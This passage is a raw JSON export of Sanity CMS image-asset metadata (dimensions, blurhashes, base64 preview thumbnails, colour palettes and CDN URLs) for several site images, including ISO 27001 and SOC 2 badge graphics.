sCxLLootHs89jaPv33LdmEh1L73DH8mvcsarf0xhlOKmPiN64atPa8CcTli5Y+tp0Cs8iTWQSeat68YciLIMiJEERd0AWkiALb0MRrRjNPgd38mke3NbCZxML+Lx+q8e9Mzg+NfMhCs4MpNAML74UkkK0OJWIFcGLCooQBEXQQhZmQRHDIAuJkAUDFDEZirgOyl4dX85T8xXjw/jmXRWq19Khdat94le95LNxRTxRaCoFRLxBBFn4BcX7HNF7/xqKGAxZ0GJs98P4bKfKO2+MMQKu0QOA6sKIlq18lSgkmXzC9DQjIunnsf4vicRyRFkwy7MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#192530","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#601a0d","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fad374","foreground":"#000","population":4.95,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2a28f","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad374","foreground":"#000","population":4.95,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907487","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97f08","foreground":"#fff","population":1.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-envelope.png","path":"images/sczeoy4w/production/148e93ddeba40036d332f7dcea9918f41008ad75-1200x1200.png","sha1hash":"148e93ddeba40036d332f7dcea9918f41008ad75","size":375107,"uploadId":"BHAv8IFc6ZrqI1BKWamAAOe7ZIKCzCJ3","url":"https://cdn.sanity.io/images/sczeoy4w/production/148e93ddeba40036d332f7dcea9918f41008ad75-1200x1200.png"} {"_createdAt":"2022-09-02T16:35:25Z","_id":"image-c938756b6dcaaa0d117ee91da26c72c20880c242-224x231-svg","_rev":"0gThdvMbf71ZLkDCR4vkC2","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:35:25Z","assetId":"c938756b6dcaaa0d117ee91da26c72c20880c242","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAJbNxxu00xu00MxIU-;.7IB~Ej[0JM{S0?b?b4U4T.700j[00tRaL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9696969696969697,"height":231,"width":224},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1d4c9","foreground":"#000","population":0.06,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cceedc","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbf7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"iso-iec-27001-c27cb1c1bc27139a3acdf07588257026.svg","path":"images/sczeoy4w/production/c938756b6dcaaa0d117ee91da26c72c20880c242-224x231.svg","sha1hash":"c938756b6dcaaa0d117ee91da26c72c20880c242","size":33754,"uploadId":"6hcHb0NbXjAQFs96zR0NQo6XwA8cPQ6l","url":"https://cdn.sanity.io/images/sczeoy4w/production/c938756b6dcaaa0d117ee91da26c72c20880c242-224x231.svg"} {"_createdAt":"2022-06-15T20:02:04Z","_id":"image-a67e4e8ca3bb4a842f3bc2b567759de7e440e9a1-1200x628-png","_rev":"CK1sLU2mnwa3vmbYWEcdXe","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:36Z","assetId":"a67e4e8ca3bb4a842f3bc2b567759de7e440e9a1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNGZ~NbdRk-mEO0Vbvt5NIt6}*nOr]S#w^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3ElEQVQokU2PW2hTBwCGjyanJ+fkJCc5t5xc2kaTpsHaJk1i06btonVNs1jbWGV2tKvFiUP2MAR9sFS3GlI3LzDFG7iNwcZwMPFB2B7H3iciPoiioj4Pwdbb0//L+rSHj//t+/kERVHQ0dGBTCbDdDrNUChEURS5ThC4XhDWVvgfbkFg0L2ebT6R7QEPN2kya0GJOwMiMpoHgizLa8Le3l52plJ0HIeaptHv89HnU6n5/bRte+3ICAaoSi3UJReThsSeqMqh9gCrMR8HdAmtqgRBVVVs6evDZL3O0UoF2WwWyWQSiWQSnZ2d6O7pQblcRrU6huHBEjZEHCR0CdUuDZ8NO/iiHMHOLpNpS4Ht80AIqCpKxSJmp6c5PzODiWqVA/kcC93dLBXyLJcGWN0+wsnaRxzbtpX5VDtrmzQeroS5PNXGpVoEtc1BbrQUOH4PhB6/gql8Bl9O7OCxj6dwpD7O/YNF7s1u5kwhy7m+Xn66Jct9xRxnct2cz7by+GiIy5NRnt4R5sKwga0JH9t0D8L/JVcUEXuiNuZSce5Lb8RcOsFP4lHuipjcHbU4G7N5IGbxYMzigVaDJ/I6r+0O8dKeCL+vh7lU1tEXkxlUROhyC4TtgXX4QHdhyHBz0HKjZLnRr7tR0Fwo+F0Y1lyomSLGTRETIRELAwquz9u4cSiO3/fH0Rw1MRST6CguOGoLhJMVGUtVGY2azFMTCr+pe9kYV3l8zMuFbQoXR7xsjgfYrBts1k3+8nmY/5xJ8e7FHP9YzPDybJQnPvTyUFHCdMYL4eFXOh41DDxpGnjaNPH8TAhPv4vg8VkHDxoWHjRsPDoXxeOrG/DwhxSe/ZbDiz/L+PfWCO5fG8Sdb1O4/7WJ20cDuHnQgPDytImVC/YaL89aWLkUxauf27H6UwwrVx2sXHGw+mMEr6+34s2tBN7+3Y83f1Xw6td+rF7uwuvzcbw7Z+HFso57iybeA5DiXw/xlziyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f3628","foreground":"#fff","population":0.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#700e05","foreground":"#fff","population":7.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8c14","foreground":"#000","population":8.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7bfa1","foreground":"#000","population":0.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8ee7f","foreground":"#000","population":0.45,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#948474","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8c14","foreground":"#000","population":8.83,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a67e4e8ca3bb4a842f3bc2b567759de7e440e9a1-1200x628.png","path":"images/sczeoy4w/production/a67e4e8ca3bb4a842f3bc2b567759de7e440e9a1-1200x628.png","sha1hash":"a67e4e8ca3bb4a842f3bc2b567759de7e440e9a1","size":784545,"uploadId":"bNnFEIubG1GeWptBCfbQgZsqT947AgWX","url":"https://cdn.sanity.io/images/sczeoy4w/production/a67e4e8ca3bb4a842f3bc2b567759de7e440e9a1-1200x628.png"} {"_createdAt":"2022-06-15T20:01:48Z","_id":"image-e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhn1i","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:49Z","assetId":"e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MESwT3_pO=xEn4?FR,sqOXwJ*eKNjHw{O=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAACmUlEQVQokV2STWsbZxSF9cMaY5qmljQaSTPSjPWtjKyRFFm2ZMW20jo0DsJdlDqQRaHQkK6yyA/ID8iyBEpKaQmFFIqLS0mJ3FaOPvzqPMV2kkUXD/fczTn3wI2w7BlFiwarZJTIG2zPYKeN0klD1jbKJYzKliGIG4Uxo1bULNpRYzqWMRsJs1iPmUV7xeiCqIlwrSD8lih2RL4pMmWRcISdlNyk5NuiYEnluBZBVGf1Fc3acZ3e9DTezWvadzXvOzJdW1qPKsLVHNgBOHVwauBUIJVDqQykU8hNoEIKrWU5a7hMwwSzts2k7zEZFHjzeYfx1/vMhyHqxIjoak4kayLTlPLrYm1LhD2pEkpZX2QcLao5zQcbmg53NftsXbPdiv7ezmm0V9bJgwO9fvJIk/sDaSOuCLEyVHrQ3oPuHTQ4gMEQbX2Cmh0UNjCNGuPuDUbDPcb37vLXwTY/fhrw00GZ4293ePX4C/493OSslySCdR3CXejfhZvDi6mN29C5BZ1taG+yCALe5LKc1AqMdtq8vN3l6X6d5/dXOX7oc/ygwu/3apzcWiXCSgn8G1DqQrmHSpvghsiuYNwqZ7nrGC+PSaeY+Q7jsMRRv8n3wzYvvqpx9LDEL98U+fmwytGOR4RlDz7Kw8dFWCmi84APV9GSy8Qq8breYxS0mLlZlHUwZZ/TsMCfvSrH+yG/fdni+WGDZ3cqvGifV76S4T1LGbR0qXXFZWpVedUa8Edji1N3FaXS4DksCg7zqsu06fFPN8/LfpHvOh7P6tY7Q/eSD1x0ztt9sewxjZcY20Xm8SzYDnId5KcvXolyEgU24zWLX+sWP4SJ/134Fr3Xl8ZadtA1B2JpZKeQk0S+jQoJqFgoiDEJY4yacf4DbiBRWgmHqO0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4041","foreground":"#fff","population":1.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820212","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":16.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9dcad2","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85f4b","foreground":"#fff","population":15.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f5848","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":16.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405.png","path":"images/sczeoy4w/production/e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405.png","sha1hash":"e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd","size":93984,"uploadId":"9MNCjG0cGsR7B9bblfUNlfpuWzRNQymN","url":"https://cdn.sanity.io/images/sczeoy4w/production/e631fd7469d1c838321e55cdc73e3dc3a3b0a2bd-752x405.png"} {"_createdAt":"2022-06-15T20:01:49Z","_id":"image-51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7p17","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:51Z","assetId":"51470b6f9b757b9dad3634ce71c466e0b5f76f05","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96c:E.nuOM|HXBtMcs:xbtkQmpwR5a0u4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9AAY1cw4/ehBFfg5HgQdIggJJgwBMhwBSjABWkABclQBimQBonwBupAF0qgJ7sASDtgSLvQGRwgCWxwCbzAANOHQfSYEjUIYeUIYRSoMERYABR4IBTIcAUYsAV5EBYJcBZp0BaaECcKYGd64NfbYQiL0Ij8ECksMAlcYACS9tFTx2FUB6EUB7C0B7BT97A0J+BEeDAkuGAVKMA1+VBGedAmeeA2uiCHWvEH++F4rEEo3CBo2+AY2/AAcpaBQ3chY8dhM9dxdEfRhJgRdMhBVOhgpKhAJLhQJVjQRglgNjmgRpngp6sBGPxxaUzBOKwAqIuQKFtwAHJGQYNnAhQHklR34uUoYuVokrV4oiU4gOSIECRH8BSIMDT4kFV48HZpsNgrIXmsobns8VkcELiLcCfbAAByFhGTNuJkF5Kkl+K0qAH0N7F0F6EkF7Bzx4AT15AEB8BEF9DEiDD2abFpO9LrTYOrrfJK3SDpK8BHerAAshYCM5cjJJfjFKfyhDehc2cQwxbgUxbwM0cQU5dgI7eAQ2dA88eRhqnR6oyjrM5ErS6i3F3xOcwgZzpgAPImAsPnU8UII7UII7UoQ8VIYzUIQmSH4kSoEiTIIMPXgDMXALNnMUXpEZmLkits4ovNIesMsTjbQHap4AEiJfO0l9VWSQVGSQVGaSWm2XWW6YWHCaVnCbQmKRFT54BC9uCDNxCkZ+DmWTEX6jEYeqEHykDGqaBF2UAAsXWCcyaztHejpIezREeTJFejVJfj5Uhj5WiCxKfw4zcAMsawUwbwQ4dARCewdNgwhUiAZSiQNRigFTjQADDVEIEVQNFlcNGVkLGlsIHFwKHl8NI2IOJmUJKGcDJ2cCKmkCLWwCMnAAOHUBPXkBQn0BRYEASYUATYgnxtZbvWylegAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c545c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04447f","foreground":"#fff","population":5.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#23d0e9","foreground":"#000","population":6.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#235b75","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1e7f1","foreground":"#000","population":5.94,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5264a4","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#23d0e9","foreground":"#000","population":6.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405.png","path":"images/sczeoy4w/production/51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405.png","sha1hash":"51470b6f9b757b9dad3634ce71c466e0b5f76f05","size":74437,"uploadId":"AaHTUnQDvnjV66gj9SJ4cueTGcK70qKA","url":"https://cdn.sanity.io/images/sczeoy4w/production/51470b6f9b757b9dad3634ce71c466e0b5f76f05-752x405.png"} {"_createdAt":"2022-06-15T20:02:18Z","_id":"image-b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdDzx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:04Z","assetId":"b6e55ab5a11856ecc65674d49507c8ee5daf8064","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUQu]O*0Xni^v~OvWns=RjxaYPm+MxxbTJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADJklEQVQokR2MzW/bZByAfeTOkT8BiTM3OAJCSJW4cQLEENLEJIQGq6BCFagYLsBAU8eiQunGkiZd1o0V+g3dmub703b9ldeJEyf2+9pOYidN0ub3Q9vh0aPn8nA66Xyiaq0VVW8lFM1cl9VmXFbNuKKZcfGUxCs1NS5K9WfdMGncZmG8ZbmJg8Oj++vryc2jfWmjlhncM7RglbLgS048JZFyVVbyRdHL5qo0XxBYoSSyfFFkmVyFpU6KLJ2tsEJBYGpVYo5uMEOps83Nh27k5m/uv48qTM4OPFPv1xntJbiG6cTqRsdV9RbKqolPrdUt1PQ2KloLFc1EVdaRnByhnYhgL3oTjb1/cGfrb0zG7mPxQQHN/SbaVbvvddxdzmHhXYeFjk0DtGkwc1gIz6ABOCwA2nXBLR9DsLYI02uvw9lnc0DWfoH/dndg568tqK3dmTnLK+gn97y+oG1z1B1GqTuk1B0idUOgboiUBcjYAJnjo6eWsL/xLQ4W3sDRRy9h7+orKEa+wO0HcXwYv4u561eBzs9huHilfxa5/pijLIhSFlD6dMD6wFgPXeojtRlaRh1pah3ZrUvY/GoOjYW3UOPfxOyNd2FndRF3//wBij99AN3PX8XwymvB9OO3SxxjvajLfOpRDz3KZj6l4Ds2WM0GyKUS6FsJaK4sgbb8NWh/LIF6ex6EWx+CuHYZpOQ30LjzKbBfL6N341oY/jif5nzHifq27fh2F3t2ZzawLeh3TWjrpyA9yYMWy4K1+hjs5CF4x4fAMo+gu/c72AfL0EpFwU3HpsPcvdDPbhOW2d/gBg0t5hGFUUNBv6Vj2CE47NSxb8ro1iT0DzQM9nQMszKOFAHPSBlDOY++mEJLeHLhKSftaSO3dUaKvK+X3udCufizK+QKllRoMCLUh5ZCxh2FjK1TMjElMtElMtVEMiE1Mm1WyLlZImNSNgKloLtSKt1TjiPnjex72My9OFaOn+dGpPrOQC8v+PXKd0FT4MeWxE8siZ+2BX7arvLnVpm/aJf4WbvAQyvPz8wcP9Hz34+U/NJEz1yaGqmXLxrpF9DMPDdqCtz/8J7ZrYk4hGwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#46302a","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#895838","foreground":"#fff","population":0.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85d23","foreground":"#fff","population":5.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4c0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8ba91","foreground":"#000","population":1.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c948c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85d23","foreground":"#fff","population":5.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844.png","path":"images/sczeoy4w/production/b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844.png","sha1hash":"b6e55ab5a11856ecc65674d49507c8ee5daf8064","size":346271,"uploadId":"echznoNj2s8Py74t0GePL4Gb8vRX3OXL","url":"https://cdn.sanity.io/images/sczeoy4w/production/b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844.png"} {"_createdAt":"2022-09-02T16:40:29Z","_id":"image-59d5afa11964608d254a51f3f373c98f24026f28-224x231-svg","_rev":"i4rt3ANhEPnepa7hEgLrgh","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:40:29Z","assetId":"59d5afa11964608d254a51f3f373c98f24026f28","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9JuZEx]00t700IBIB.8.8IB]@V[0cM{Sv_M?v0000.R00kB00x[Vt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9696969696969697,"height":231,"width":224},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFVUlEQVQ4jS2Ua2gdRRTHJzapDwSt8YOKirZqrcUWFEXx8UVEi6igFj8o2rQiPsBHVawovmjrG6Q+UCiiNrUUrc9UG1vb5CYzszPnzGvnbm6a3TTJ3vSR2BdN3GvTplfm1oWF4bDnx845//+fMImECiDGl0kEKpzPoALmM4lLucRvOagKBzXBASe4xD4m8RsmsY0KuCp8K7Uh5Uo/CZxt3T2kAfvlj85QmMEkXswlPhih/gK0jZSN9+jYF8rGJ8C4abSuQBvvBmO5UObzCPViJvHC0Lt23YYGtEHvjWQzk3hlhPolqW2Pdv6g9cm0K/cdtz6ZNHH5gI79gXC25STUpkMNbdwtlHmBg7qCCmi2Pmn8YROTeFmE+jUwzpu4fNSWkynrk6p2fgca9xUY+yEa9yHa+Ctl4y4Tl0ddue+Y9clR5bwD41YIpWf3cNEUgK0c8AmprdLOT1lfntSx52Ds2xHqO5nEeVTARUziRVziPA5qkVBmJdo4Mr48aX0ypVwMQunHqIBZARiafhbK/IM2DvPqlto+ziRe0s2iFjSuMRvQloxl46TEopkMcY7Q5hm0jikb16S2kxzUD1TAbQG4hkkcYhKnI1DlCPVzHNUF3Cqy8affiFCa9ApJIHFN363aSIan985Ii3xOMp61qf5ye6T0CJN4nEnMqIAPAvBrKqCXCohCgQq4utTNm/4sdZHft28jr729kqz9oZ08+9LLJC3yALsiLfJX0iLv7Ps72yK93UwlcipgB5X4ZQAuogLvowLvYQIXCmfP3HVs94x99UNNTy1fTsIzf+61JD8xFmCXZ7XqK1mtGme16t6BiZENdrjyCJN4d+inEm8nVOBMJnFmL5ctfX9nZ6ZFPj8t8pvooLr0uRUrZj20ZNmsp55f3toRbV1g9lVeTQ5lbufk8Hha5L+lRf5A/+GhcxmqFgYNTgvp2s4IAyRFfTpc6cqsVl2ZFvkmNqheX73mo/uXPfn0nW+8/87Dm7o2f9IzAAnfpcfdeH8Dlhb5OZXaLlIqCVIqRSeF3UbaiB3uI4NHR09Ji/zarFZtT4t8TO9Jdn7/16/tn65b++53Wzb9stWWdvcMyAN/+d6OngG5OPu3eo4YtKQPB0jnr9sJBWi4LlCbGWCzsKZ555Hh89IiX5IW+Y7+I0OH7FhlEEc913uTqhvvP2jHKh1sUC3u1F2t++oHiamUm4Q2wbItVEJLcEug3kIF3E4F3MEk3uhGKgvSIl+a1arbs1r1UFarFlmtuj+rVcM1F6dF3jpZnyKR0adQAedRATdTAXcFPVMBtwbge0xiBwfVG4HayEE96kYqC7NatS1A0yLfnRZ5R4BltWprvV4nsmJJhPr8CPUyDupHFmQjYTMVsCoAn+egpNR2Cm18RGq7lYNaqgeTGwcmRtrSIn8rq1XvHZwanWX3VkhPJE7loGaDsY8rGwevT0aojzKJlAp4IgDnCmVWa+eHQ4ro2E+AtixCvUrG9mGdJouwEi9kgLOZxAUR6nvAuHd07EXwsnLxtFAmYxLfpALmBGCLUOZ6NO4z7fzI//E0pZ0fReNKYNw60HaN1PZTMG69cr7X+mRPSCQd++Og7a4I1MdM4jWNpQhlw6ZPj1DfILX9IMRRI/d8Uv8/9wrt/GEd+8PWJ4Ur901bn5xQLp6Q2hgOajWTeB0VcFpl5wAhHBQpJmsBGmYzT6AOUbYBjfPKxiFEj6FxdeV8XcflY8rG+0FbF6FuZxJDZM0NTlu7fv1JHZZYFDZGRvfsC8ndRAWcHeTDJK7goLZxUPs5qOPRyXecg+pkEl+kAq6nAs5iEpuyoaEGLAD/A9B/qVlOXKqrAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c1b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcfaec","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8477","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbf7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"soc-2-a7ef3007fad76e25decfd5a6b0619243.svg","path":"images/sczeoy4w/production/59d5afa11964608d254a51f3f373c98f24026f28-224x231.svg","sha1hash":"59d5afa11964608d254a51f3f373c98f24026f28","size":24376,"uploadId":"9EAyLIc0d0sPXbXMlbEkItXW8bKGUXkI","url":"https://cdn.sanity.io/images/sczeoy4w/production/59d5afa11964608d254a51f3f373c98f24026f28-224x231.svg"} 